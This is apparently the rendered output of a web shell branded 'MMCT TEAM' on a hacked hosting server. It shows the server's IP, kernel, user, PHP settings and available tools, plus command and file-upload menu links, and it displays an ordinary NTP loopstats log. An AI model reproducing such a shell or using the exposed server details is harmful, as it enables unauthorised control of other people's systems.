MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.147.75.46
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //var/log/ntpstats/loopstats.20220830
59821 940.059 0.003392812 -49.010 0.000879983 0.190020 10
59821 1966.106 0.003125707 -48.998 0.000828548 0.177797 10
59821 3028.062 0.002373913 -48.989 0.000819347 0.166347 10
59821 5147.059 0.001330567 -48.821 0.000850579 0.166489 10
59821 7292.052 0.000924549 -48.706 0.000808490 0.160969 10
59821 8348.042 -0.000027203 -48.706 0.000827755 0.150573 10
59821 9407.066 -0.001180852 -48.711 0.000875154 0.140858 10
59821 10454.095 -0.000895160 -48.714 0.000824839 0.131766 10
59821 12592.060 -0.001068723 -48.848 0.000774003 0.131980 10
59821 13657.066 -0.001168483 -48.852 0.000724872 0.123467 10
59821 14715.048 -0.001150068 -48.857 0.000678087 0.115504 10
59821 15760.118 -0.001065302 -48.861 0.000635000 0.108054 10
59821 17871.085 -0.001114409 -49.002 0.000594242 0.112661 10
59821 18955.079 -0.001626678 -49.008 0.000584624 0.105410 10
59821 21009.104 -0.001468556 -49.198 0.000549716 0.119307 10
59821 22077.090 -0.001530031 -49.204 0.000514671 0.111623 10
59821 24187.042 -0.001543492 -49.400 0.000481454 0.125122 10
59821 25273.040 -0.000170745 -49.400 0.000662101 0.117042 10
59821 27367.099 0.000632847 -49.320 0.000681396 0.113120 10
59821 29448.134 0.000758765 -49.223 0.000638941 0.111237 10
59821 30508.108 0.000628684 -49.220 0.000599441 0.104056 10
59821 32597.050 0.000563657 -49.148 0.000561197 0.100595 10
59821 34677.090 -0.000108246 -49.162 0.000576200 0.094225 10
59821 36791.043 -0.000293134 -49.199 0.000542935 0.089104 10
59821 37839.131 -0.000229052 -49.200 0.000508374 0.083350 10
59821 39934.067 -0.000022889 -49.203 0.000481094 0.077973 10
59821 40965.105 -0.000343007 -49.204 0.000464036 0.072939 10
59821 42001.069 0.000450131 -49.203 0.000516766 0.068231 10
59821 44066.119 0.000441166 -49.146 0.000483401 0.066908 10
59821 45127.085 0.000273480 -49.145 0.000456050 0.062588 10
59821 47284.072 0.000093426 -49.133 0.000431319 0.058689 10
59821 48310.044 -0.000850550 -49.136 0.000523611 0.054910 10
59821 49363.119 -0.000257942 -49.137 0.000532725 0.051365 10
59821 51472.085 -0.000530748 -49.204 0.000507567 0.053584 10
59821 53551.085 -0.000606140 -49.282 0.000475533 0.057137 10
59821 54587.079 -0.000630476 -49.284 0.000444903 0.053453 10
59821 56647.101 -0.000938074 -49.405 0.000430144 0.065812 10
59821 57718.036 -0.000046375 -49.406 0.000511162 0.061562 10
59821 58752.043 0.000935901 -49.402 0.000590961 0.057600 10
59821 60854.106 0.001409208 -49.223 0.000577566 0.083017 10
59821 62968.052 0.000771524 -49.126 0.000585419 0.084937 10
59821 64012.070 0.000963371 -49.122 0.000551794 0.079462 10
59821 66147.105 0.000096845 -49.110 0.000600229 0.074453 10
59821 68254.055 -0.000421390 -49.164 0.000590603 0.072150 10
59821 70337.095 -0.000582896 -49.238 0.000555402 0.072445 10
59821 72455.041 0.000066460 -49.230 0.000567997 0.067831 10
59821 73485.132 0.000306395 -49.229 0.000538042 0.063452 10
59821 74548.070 0.000616621 -49.226 0.000515105 0.059360 10
59821 76709.120 0.000922092 -49.112 0.000493792 0.068631 10
59821 77734.041 0.001202576 -49.107 0.000472425 0.064219 10
59821 78790.042 0.001201930 -49.103 0.000441913 0.060095 10
59821 79817.033 0.001011058 -49.099 0.000418844 0.056230 10
59821 81940.072 0.000888858 -48.987 0.000394168 0.065773 10
59821 82979.086 0.000839617 -48.984 0.000369121 0.061535 10
59821 84042.133 0.000618294 -48.981 0.000354037 0.057568 10
59821 85102.115 -0.000412067 -48.983 0.000492321 0.053853 10

MMCT - 2023